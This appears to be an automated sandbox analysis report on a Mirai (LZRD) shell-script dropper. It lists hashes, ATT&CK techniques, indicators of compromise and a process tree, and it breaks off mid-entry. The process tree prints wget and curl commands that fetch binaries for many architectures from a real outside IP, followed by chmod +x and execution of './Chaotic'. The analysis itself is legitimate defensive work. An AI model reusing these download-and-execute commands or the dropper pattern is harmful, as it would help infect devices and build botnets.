mirai | 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240729-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
11-11-2024 02:09

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General

Target

1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh
Size

3KB
MD5

77b673f2a4bf201174409274ff5ab549
SHA1

07239713e9551c0e0fafb75149b86b0ce0515a0a
SHA256

1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18
SHA512

66922611e0e8c796248b3ea6ebe4a02c638a2548eb8348b98ce913d9a1127c8a7f0bb6340484d25418e4d1da35d7bfde0b22a142697734197cafce40591fce3c

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
1559	chmod
1569	chmod
1591	chmod
1519	chmod
1549	chmod
1621	chmod
1631	chmod
1651	chmod
1539	chmod
1581	chmod
1601	chmod
1641	chmod
1529	chmod
1611	chmod
1513	chmod

Executes dropped EXE 15 IoCs

Processes:

ChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaotic

ioc	pid	Process
/tmp/Chaotic	1514	Chaotic
/tmp/Chaotic	1520	Chaotic
/tmp/Chaotic	1530	Chaotic
/tmp/Chaotic	1540	Chaotic
/tmp/Chaotic	1550	Chaotic
/tmp/Chaotic	1560	Chaotic
/tmp/Chaotic	1570	Chaotic
/tmp/Chaotic	1582	Chaotic
/tmp/Chaotic	1592	Chaotic
/tmp/Chaotic	1602	Chaotic
/tmp/Chaotic	1612	Chaotic
/tmp/Chaotic	1622	Chaotic
/tmp/Chaotic	1632	Chaotic
/tmp/Chaotic	1642	Chaotic
/tmp/Chaotic	1652	Chaotic

Modifies Watchdog functionality 1 TTPs 28 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

Processes:

ChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaotic

description	ioc	Process
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 28 IoCs

Processes:

ChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaotic

description	ioc	Process
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/files/fstream-5.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

ChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaoticChaotic

description	ioc	Process
File opened for reading	/proc/14/status	Chaotic
File opened for reading	/proc/553/status	Chaotic
File opened for reading	/proc/1156/status	Chaotic
File opened for reading	/proc/1595/status	Chaotic
File opened for reading	/proc/1146/status	Chaotic
File opened for reading	/proc/78/status	Chaotic
File opened for reading	/proc/173/status	Chaotic
File opened for reading	/proc/491/status	Chaotic
File opened for reading	/proc/17/status	Chaotic
File opened for reading	/proc/7/status	Chaotic
File opened for reading	/proc/475/status	Chaotic
File opened for reading	/proc/1092/status	Chaotic
File opened for reading	/proc/168/status	Chaotic
File opened for reading	/proc/176/status	Chaotic
File opened for reading	/proc/1068/status	Chaotic
File opened for reading	/proc/28/status	Chaotic
File opened for reading	/proc/491/status	Chaotic
File opened for reading	/proc/610/status	Chaotic
File opened for reading	/proc/14/status	Chaotic
File opened for reading	/proc/955/status	Chaotic
File opened for reading	/proc/319/status	Chaotic
File opened for reading	/proc/12/status	Chaotic
File opened for reading	/proc/1499/status	Chaotic
File opened for reading	/proc/8/status	Chaotic
File opened for reading	/proc/1197/status	Chaotic
File opened for reading	/proc/1503/status	Chaotic
File opened for reading	/proc/652/status	Chaotic
File opened for reading	/proc/1077/status	Chaotic
File opened for reading	/proc/80/status	Chaotic
File opened for reading	/proc/1498/status	Chaotic
File opened for reading	/proc/668/status	Chaotic
File opened for reading	/proc/16/status	Chaotic
File opened for reading	/proc/1523/status	Chaotic
File opened for reading	/proc/1607/status	Chaotic
File opened for reading	/proc/1137/status	Chaotic
File opened for reading	/proc/1573/status	Chaotic
File opened for reading	/proc/166/status	Chaotic
File opened for reading	/proc/2/status	Chaotic
File opened for reading	/proc/1384/status	Chaotic
File opened for reading	/proc/6/status	Chaotic
File opened for reading	/proc/1277/status	Chaotic
File opened for reading	/proc/1/status	Chaotic
File opened for reading	/proc/959/status	Chaotic
File opened for reading	/proc/1031/status	Chaotic
File opened for reading	/proc/1173/status	Chaotic
File opened for reading	/proc/461/status	Chaotic
File opened for reading	/proc/677/status	Chaotic
File opened for reading	/proc/2/status	Chaotic
File opened for reading	/proc/610/status	Chaotic
File opened for reading	/proc/1121/status	Chaotic
File opened for reading	/proc/480/status	Chaotic
File opened for reading	/proc/5/status	Chaotic
File opened for reading	/proc/168/status	Chaotic
File opened for reading	/proc/161/status	Chaotic
File opened for reading	/proc/1482/status	Chaotic
File opened for reading	/proc/6/status	Chaotic
File opened for reading	/proc/26/status	Chaotic
File opened for reading	/proc/1607/status	Chaotic
File opened for reading	/proc/735/status	Chaotic
File opened for reading	/proc/475/status	Chaotic
File opened for reading	/proc/491/status	Chaotic
File opened for reading	/proc/1129/status	Chaotic
File opened for reading	/proc/1498/status	Chaotic
File opened for reading	/proc/170/status	Chaotic

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetcurlwgetcurl

pid	Process
1546	wget
1547	curl
1556	wget
1557	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlcurlcurlcurlcurlcurlwgetwget1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.shwgetwgetcurlcurlwgetwgetcurlwgetwgetcpcurlwgetwgetwgetcurlcurlcurlwgetwgetcurlcurl

description	ioc	Process
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	wget
File opened for modification	/tmp/Chaotic	1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	wget
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sparc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	curl

/tmp/1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh
/tmp/1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh
1⤵
- Writes file to tmp directory
PID:1505
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1506
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:1507
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:1512
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic config-err-XDxoSA netplan_f_h8ze_e snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-TwucqZ ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:1514
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:1516
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  PID:1518
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic config-err-XDxoSA netplan_f_h8ze_e snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-TwucqZ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1519
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1520
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1526
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1527
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic config-err-XDxoSA netplan_f_h8ze_e snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-TwucqZ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1529
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1530
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:1536
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic config-err-XDxoSA netplan_f_h8ze_e snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-TwucqZ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1539
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1540
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1546
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1547
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic config-err-XDxoSA netplan_f_h8ze_e snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-TwucqZ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1550
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:1556
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1557
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic config-err-XDxoSA netplan_f_h8ze_e snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-TwucqZ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1559
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1560
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1566
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1567
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic config-err-XDxoSA netplan_f_h8ze_e snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-timedated.service-TwucqZ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1569
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1570
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:1578
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:1579
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic config-err-XDxoSA netplan_f_h8ze_e snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1581
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1582
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:1588
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:1589
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic config-err-XDxoSA netplan_f_h8ze_e snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1591
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1592
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:1598
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:1599
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic config-err-XDxoSA netplan_f_h8ze_e snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1601
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1602
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:1608
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:1609
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic config-err-XDxoSA netplan_f_h8ze_e snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1611
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  PID:1612
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:1618
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:1619
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic config-err-XDxoSA netplan_f_h8ze_e snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1621
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1622
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:1628
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  - Writes file to tmp directory
  PID:1629
- /bin/chmod
